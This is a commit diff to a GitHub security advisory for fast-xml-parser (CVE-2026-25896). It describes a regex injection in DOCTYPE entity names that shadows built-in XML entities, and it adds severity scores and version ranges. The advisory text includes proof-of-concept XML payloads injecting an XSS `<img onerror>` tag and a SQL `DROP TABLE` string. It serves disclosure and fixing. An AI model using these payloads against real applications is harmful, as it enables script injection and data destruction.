Skip to content

Commit f7ba30d

Browse files
1 parent 9450ef5 commit f7ba30d

1 file changed

Lines changed: 22 additions & 3 deletions

File tree

advisories/github-reviewed/2026/02/GHSA-m7jm-9gc2-mpf2/GHSA-m7jm-9gc2-mpf2.json

Lines changed: 22 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-m7jm-9gc2-mpf2",
4-
"modified": "2026-02-20T22:19:56Z",
4+
"modified": "2026-02-27T16:51:58Z",
55
"published": "2026-02-20T18:23:54Z",
66
"aliases": [
77
"CVE-2026-25896"
88
],
99
"summary": "fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names",
10-
"details": "# Entity encoding bypass via regex injection in DOCTYPE entity names\n\n## Summary\n\nA dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`&lt;`, `&gt;`, `&amp;`, `&quot;`, `&apos;`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.\n\n## Details\n\nThe fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.\n\nIn `DocTypeReader.js`, entity names are passed directly to `RegExp()`:\n\n```js\nentities[entityName] = {\n regx: RegExp(`&${entityName};`, \"g\"),\n val: val\n};\n```\n\nAn entity named `l.` produces the regex `/&l.;/g` where `.` matches **any character**, including the `t` in `&lt;`. Since DOCTYPE entities are replaced before built-in entities, this shadows `&lt;` entirely.\n\nThe same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:\n\n```js\n// v6 EntitiesParser.js line 96\nconst specialChar = \"!?\\\\/[]$%{}^&*()<>|+\"; // no dot\n```\n\n## Shadowing all 5 built-in entities\n\n| Entity name | Regex created | Shadows |\n|---|---|---|\n| `l.` | `/&l.;/g` | `&lt;` |\n| `g.` | `/&g.;/g` | `&gt;` |\n| `am.` | `/&am.;/g` | `&amp;` |\n| `quo.` | `/&quo.;/g` | `&quot;` |\n| `apo.` | `/&apo.;/g` | `&apos;` |\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\nconst xml = `<?xml version=\"1.0\"?>\n<!DOCTYPE foo [\n <!ENTITY l. \"<img src=x onerror=alert(1)>\">\n]>\n<root>\n <text>Hello &lt;b&gt;World&lt;/b&gt;</text>\n</root>`;\n\nconst result = new XMLParser().parse(xml);\nconsole.log(result.root.text);\n// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>\n```\n\nNo special parser options needed - `processEntities: true` is the default.\n\nWhen an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `<img onerror>` fires.\n\n`&amp;` can be shadowed too:\n\n```js\nconst xml2 = `<?xml version=\"1.0\"?>\n<!DOCTYPE foo [\n <!ENTITY am. \"'; DROP TABLE users;--\">\n]>\n<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;\n\nconst r = new XMLParser().parse(xml2);\nconsole.log(r.root);\n// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'\n```\n\n## Impact\n\nThis is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.\n\n- Default config, no special options\n- Attacker can replace any `&lt;` / `&gt;` / `&amp;` / `&quot;` / `&apos;` with arbitrary strings\n- Direct XSS vector when parsed XML content is rendered in a page\n- v5 and v6 both affected\n\n## Suggested fix\n\nEscape regex metacharacters before constructing the replacement regex:\n\n```js\nconst escaped = entityName.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\nentities[entityName] = {\n regx: RegExp(`&${escaped};`, \"g\"),\n val: val\n};\n```\n\nFor v6, add `.` to the blacklist in `validateEntityName`:\n\n```js\nconst specialChar = \"!?\\\\/[].{}^&*()<>|+\";\n```\n\n## Severity\n\nEntity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.",
10+
"details": "# Entity encoding bypass via regex injection in DOCTYPE entity names\n\n## Summary\n\nA dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`&lt;`, `&gt;`, `&amp;`, `&quot;`, `&apos;`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.\n\n## Details\n\nThe fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.\n\nIn `DocTypeReader.js`, entity names are passed directly to `RegExp()`:\n\n```js\nentities[entityName] = {\n regx: RegExp(`&${entityName};`, \"g\"),\n val: val\n};\n```\n\nAn entity named `l.` produces the regex `/&l.;/g` where `.` matches **any character**, including the `t` in `&lt;`. Since DOCTYPE entities are replaced before built-in entities, this shadows `&lt;` entirely.\n\nThe same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:\n\n```js\n// v6 EntitiesParser.js line 96\nconst specialChar = \"!?\\\\/[]$%{}^&*()<>|+\"; // no dot\n```\n\n## Shadowing all 5 built-in entities\n\n| Entity name | Regex created | Shadows |\n|---|---|---|\n| `l.` | `/&l.;/g` | `&lt;` |\n| `g.` | `/&g.;/g` | `&gt;` |\n| `am.` | `/&am.;/g` | `&amp;` |\n| `quo.` | `/&quo.;/g` | `&quot;` |\n| `apo.` | `/&apo.;/g` | `&apos;` |\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\nconst xml = `<?xml version=\"1.0\"?>\n<!DOCTYPE foo [\n <!ENTITY l. \"<img src=x onerror=alert(1)>\">\n]>\n<root>\n <text>Hello &lt;b&gt;World&lt;/b&gt;</text>\n</root>`;\n\nconst result = new XMLParser().parse(xml);\nconsole.log(result.root.text);\n// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>\n```\n\nNo special parser options needed - `processEntities: true` is the default.\n\nWhen an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `<img onerror>` fires.\n\n`&amp;` can be shadowed too:\n\n```js\nconst xml2 = `<?xml version=\"1.0\"?>\n<!DOCTYPE foo [\n <!ENTITY am. \"'; DROP TABLE users;--\">\n]>\n<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;\n\nconst r = new XMLParser().parse(xml2);\nconsole.log(r.root);\n// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'\n```\n\n## Impact\n\nThis is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.\n\n- Default config, no special options\n- Attacker can replace any `&lt;` / `&gt;` / `&amp;` / `&quot;` / `&apos;` with arbitrary strings\n- Direct XSS vector when parsed XML content is rendered in a page\n- v5 and v6 both affected\n\n## Suggested fix\n\nEscape regex metacharacters before constructing the replacement regex:\n\n```js\nconst escaped = entityName.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\nentities[entityName] = {\n regx: RegExp(`&${escaped};`, \"g\"),\n val: val\n};\n```\n\nFor v6, add `.` to the blacklist in `validateEntityName`:\n\n```js\nconst specialChar = \"!?\\\\/[].{}^&*()<>|+\";\n```\n\n## Severity\n\n**CWE-185** (Incorrect Regular Expression)\n\n**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)**\n\nEntity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.",
1111
"severity": [
1212
{
1313
"type": "CVSS_V3",
@@ -25,14 +25,33 @@
2525
"type": "ECOSYSTEM",
2626
"events": [
2727
{
28-
"introduced": "4.1.3"
28+
"introduced": "5.0.0"
2929
},
3030
{
3131
"fixed": "5.3.5"
3232
}
3333
]
3434
}
3535
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "fast-xml-parser"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "4.1.3"
48+
},
49+
{
50+
"fixed": "4.5.4"
51+
}
52+
]
53+
}
54+
]
3655
}
3756
],
3857
"references": [

0 commit comments

Comments
 (0)